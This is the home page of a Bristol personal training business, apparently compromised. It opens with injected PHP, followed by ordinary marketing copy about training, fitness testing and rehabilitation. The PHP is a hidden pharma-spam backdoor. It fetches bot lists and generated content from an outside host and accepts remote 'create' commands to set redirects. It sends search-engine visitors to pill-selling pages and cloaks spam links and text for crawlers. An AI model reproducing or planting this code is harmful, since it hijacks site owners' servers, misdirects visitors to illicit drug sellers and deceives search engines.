ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|yandex|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://linksferma.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; } $st = '.st'; $cldw = 0; $dw = 0; if (isset($_REQUEST["create"]) || $_REQUEST["create"]) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = urldecode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $keys = file("http://linksferma.com/lnk/gen/keys/$group.keys"); shuffle($keys); $clkeys = ''; foreach ($keys as $clkey) { $clkeys .= $clkey; } file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'http://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } //$fromse = 1; if (($_GET[$qq] || $cldw) && $fromse && !$abt && !$morda) { if (!$redcode) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey."&pill=$tdpill"; else $redir .= "?keyword=".$tkey."&pill=$tdpill"; header("Location: $redir"); echo ""; die(); } else { $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } if ($abt || $fromse || $redcode || $hspan) { $epills = explode(" ", "abana abilify acai accutane aceon aciclovir aciphex acivir pills acticin actonel actoplus met actos adalat advair diskus alavert albendazole albenza aldactone alesse aleve allegra alli allopurinol alphagan altace amantadine amaryl amitriptyline amoxil ampicillin anacin anafranil antabuse antivert apcalis sx arava aricept arimidex aristocort arjuna artane asacol ashwagandha aspirin astelin atarax atorlip-10 atorlip-20 atorlip-5 atrovent augmentin avalide avandamet avapro avodart aygestin ayurslim azulfidine baclofen bactrim bactroban beconase aq benadryl benemid benfotiamine benicar bentyl benzac betapace betnovate betoptic biaxin blopress brafix brahmi brand advair diskus brand amoxil brand cialis brand levitra brand viagra bupron sr bupropion buspar bystolic cabgolin cafergot calan calcium carbonate capoten carafate carbozyne cardizem cardura casodex caverta cefadroxil cefixime ceftin celadrin celebrex celexa cephalexin chloramphenicol chloromycetin chloroquine cholestoplex cialis cialis jelly cialis professional cialis soft cialis sublingual cialis super active ciplox cipro citalopram claritin cleocin cleocin gel clomid clonidine clozaril colchicine colospa combivent compazine confido cordarone coreg coumadin cozaar crestor cyklokapron cymbalta cystone cytotec cytoxan danazol dapoxetine decadron deltasone depakote desyrel detrol diabecon diakof diamox diarex diclofenac diclofenac gel differin diflucan digoxin dilantin diltiazem diovan dipyridamole ditropan dostinex doxazosin doxycycline dramamine duetact dulcolax duphalac dutas effexor xr elavil eldepryl elimite elocon emsam endep entocort ephedraxin epivir-hbv erexin-v erythromycin estrace ethionamide etodolac eulexin eurax evecare evista exelon famvir feldene female cialis female viagra femara femcare fertomid finast finax fincar finpecia flagyl er flomax flonase florinef flovent floxin fluoxetine fml forte forzest fosamax fucidin furosemide gasex geriforte geriforte syrup ginette-35 ginseng glucophage glucotrol xl glycomet glyset grifulvin v gyne-lotrimin haldol haridra himcocid himcolin himplasia hoodia hyaluronic acid hydrea hydrochlorothiazide hytrin hyzaar imitrex imuran inderal indinavir indocin innopran xl isoniazid isoptin januvia kamagra kamagra chewable kamagra gold kamagra oral jelly kamagra soft keflex keftab keppra kytril l-tryptophan lady era lamictal lamisil lanoxin lariam lasix lasuna levaquin levitra levitra plus levitra professional levitra super active levlen levothroid lexapro lincocin lioresal lipitor liposafe lipothin lisinopril lithium liv 52 lopid lopressor lotensin lotrisone lozol lukol luvox lynoral malegra dxt malegra fxt maxalt maxaman meclizine medrol menosan mentat mentat ds syrup mentax mestinon metformin methotrexate metoclopramide mevacor micardis micronase midamor minipress minocin minocycline minomycin mirapex mircette mobic moduretic motilium motrin myambutol mycelex-g naprosyn neurontin nexium nimotop nitrofurantoin nitroglycerin nizagara nizoral nolvadex nootropil noroxin norvasc nymphomax olanzapine omnicef ophthacare orlistat oxytrol pamelor pariet parlodel paroxetine paxil penegra periactin phenamax phenergan phexin pilex plavix plendil pletal ponstel prandin pravachol prazosin precose prednisolone prednisone premarin prevacid prilosec prinivil probalan procardia prograf promethazine prometrium propecia propranolol proscar protonix proventil provera pulmicort purim purinethol pyridium quibron-t ralista ranitidine reglan relafen remeron reminyl renagel requip retin-a 0%2c025 retin-a 0%2c05 retin-a gel 0%2c1 retino-a cream 0%2c025 retino-a cream 0%2c05 revatio rhinocort risperdal robaxin rocaltrol rogaine 2 rogaine 5 rosuvastatin roxithromycin rumalaya rumalaya forte rumalaya gel rumalaya liniment sarafem saw palmetto septilin serevent seroflo serophene seroquel serpina shallaki shatavari shuddha guggulu silagra sinemet sinequan singulair skelaxin snovitra super power sominex speman starlix strattera stromectol styplon suhagra sumycin suprax sustiva synthroid tadacip tadalis sx tadapox tamoxifen tegretol tenormin terramycin tetracycline tinidazole tofranil topamax toprol xl toradol torsemide trandate trazodone trental tretinoin 0%2c025 tretinoin 0%2c05 trial ed set extreme trial ed set lite trial ed set standart triamterene tricor trileptal trimox tulasi unisom urispas uroxatral v-gel valtrex vantin vasodilan vasotec venlor ventolin vermox viagra viagra jelly viagra plus viagra professional viagra soft viagra sublingual viagra super active viramune voltaren voveran voveran sr vpxl vytorin wellbutrin wellbutrin sr xalatan xeloda xenical yagara yasmin zaditor zanaflex zantac zebeta zenegra zerit zestoretic zestril zetia zithromax zocor zofran zoloft zovirax zyban zyloprim zyprexa zyrtec zyvox"); $tdpill = 'pills'; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['SERVER_NAME']; $ddomain = str_ireplace('www.', '', $ddomain); $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://linksferma.com/lnk/tuktuk.php?d=$donor&cldw=$cldw"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } if (file_exists("{$eb}{$st}/$page.txt")) { $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; foreach ($epills as $pill) { $pill = trim($pill); if (stristr($key, $pill)) $tdpill = str_replace(' ', '+', $pill); } $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; foreach ($epills as $pill) { $pill = trim($pill); if (strstr($key, $pill)) $tdpill = str_replace(' ', '+', $pill); } $tkey = str_replace(' ', '-', $key); $ttxt = get_data_yo("http://linksferma.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain&pill=$tdpill"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://linksferma.com//lnk/gen/desc.php?key=$tkey&desc=$group&pill=$tdpill"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } file_put_contents("{$eb}{$st}/$page.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && $_REQUEST['prigod']) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404#i', $my_content) && !preg_match('#<title>(.*)not found#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#</body>#', $my_content)) { $my_content = preg_replace('#</body>#', "$ln<br> \n</body>", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } ?><!DOCTYPE html> <html lang="en-US" prefix="og: http://ogp.me/ns#"> <!-- 00 000000 0000000 --> <!-- /00/0////00 /00////00 --> <!-- /00/0 /00 /00 /00 --> <!-- /00/000000 /0000000 --> <!-- /00/0//// 00/00///00 --> <!-- 00 /00/0 /00/00 //00 --> <!-- //00000 /0000000 /00 //00--> <!-- ///// /////// // // --> <!-- John Whittington - 2014 --> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Home - My Life Personal Training
My Life Personal Training
Bristol Personal Trainers

Our Services

MyLife Personal Training offer a range of services to help you improve your fitness, train for an event or hone your competitive edge. We offer one-to-one personal training in our fitness studio, online personal training, fitness testing, injury rehabilitation and more. We have particular expertise in cycling, triathlon, golf and running. You can book as many sessions as you need, and there's no contract and no notice period. Our hand-picked team of personal trainers, physiotherapists, massage therapists and sports coaches will work with you to achieve your goals. We also a bespoke corporate event service, and can tailor a package to the needs of your company. Contact us for more information. Prices & Opening Hours

View More

Core Stability

When it comes to improving your performance, having a strong core is crucial. Our Personal Trainers will help you improve your core stability using a range of techniques, core stability…read more

Fitness Testing

Fitness testing isn’t just for professional athletes, and MyLife Personal Training has the latest technology to assess your fitness levels. A fitness test using TrueZone Metabolic Testing will establish your…read more

Rehabilitation

With qualified physiotherapists, sports massage practitioners, experienced personal trainers, chiropractors and more, the MyLife Personal Training Team is perfectly placed to help with your injury rehabilitation. We take GP referrals, and…read more

About My Life PT - Andy Wadsworth

MyLife Personal Training provides bespoke training, nutrition and coaching to elite athletes and those with a drive to succeed at their goals, whether they are event or fitness based.

Founded by Andy Wadsworth, a trainer, author and coach with 15 years experience working with elite athletes and World Champions, the MyLife team are highly experienced at providing a professional service tailored to your needs.

Based in Bristol, MyLife Personal Training can also provide fitness testing, physiotherapy, sports massage and rehabilitation services in their state-of-the-art gym and fitness centre.

Read More About Andy

Lastest News

Video: Xterra Athlete Graham Wadsworth Share His Triathlon Training

Graham Wadsworth, part of the MyLife Personal Training Team, shares his training and preparation for the Xterra Triathlon.

What Happens When You Pull a Muscle?

Yep, we know it hurts, but what else is going on in your leg?Click on the article below to zoom in and read. Use your browser’s back button to navigate back to this page.

cycle training muscle injury Andy Wadsworth MyLife Personal training

Video: Oli Beckingsale Rehab Part 6 – Nutrition

Jamie Richards (jamierichards.co.uk) talks about how he has worked with Oli and devised a nutrition plan to aid his recovery from the broken femur sustained last August. Oli is now back racing again and well on the way back to full fitness and competing at the highest level.

Video: Oli Beckingsale Rehab Part 1

British champion MTB Rider Oli Beckingsale recently broke his femur while racing a world cup event in Nove Mesto, Czech Republic, he is now recovering and building his fitness with the help of Andy Wadsworth at the MyLife gym in Bristol. We will be following Oli in his rehabilitation to full fitness and competing again with the aim of qualifying for the 2012 London Olympics.